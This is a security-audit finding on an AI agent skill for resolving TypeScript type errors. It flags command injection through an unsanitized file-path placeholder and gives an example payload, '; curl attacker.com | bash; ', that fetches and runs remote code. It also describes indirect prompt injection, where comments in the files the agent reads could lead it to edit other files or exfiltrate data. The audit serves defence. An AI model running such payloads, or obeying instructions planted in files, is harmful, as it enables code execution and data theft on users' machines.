The Agent Skills Directory

Prompt Injection (HIGH): The skill contains a pattern that allows for potential command injection.
Evidence: The instruction "Replace target-file with the actual file path from the user's request" in the command pnpm type-check 2>&1 | grep "target-file" is dangerous. If a user provides a file path containing shell metacharacters (e.g., "; curl attacker.com | bash; "), it could lead to arbitrary command execution if the agent performs a literal string replacement.
Indirect Prompt Injection (HIGH): The skill is highly vulnerable to instructions embedded in the data it processes.
Ingestion points: The agent is instructed to read target-file (external code), package.json, and tsconfig.json.
Boundary markers: Absent. The instructions do not define any delimiters or warnings to ignore instructions found within the code or comments of the files being analyzed.
Capability inventory: The skill possesses the Edit tool for modifying local files and uses pnpm for shell command execution. This combination of read/write/execute allows a malicious file to seize control of the agent's logic (e.g., a comment in the TypeScript file could instruct the agent to modify a different file or exfiltrate data).
Sanitization: Absent. No validation or escaping is performed on the content of the target files before processing or before being used in the validation steps.

resolving-type-errors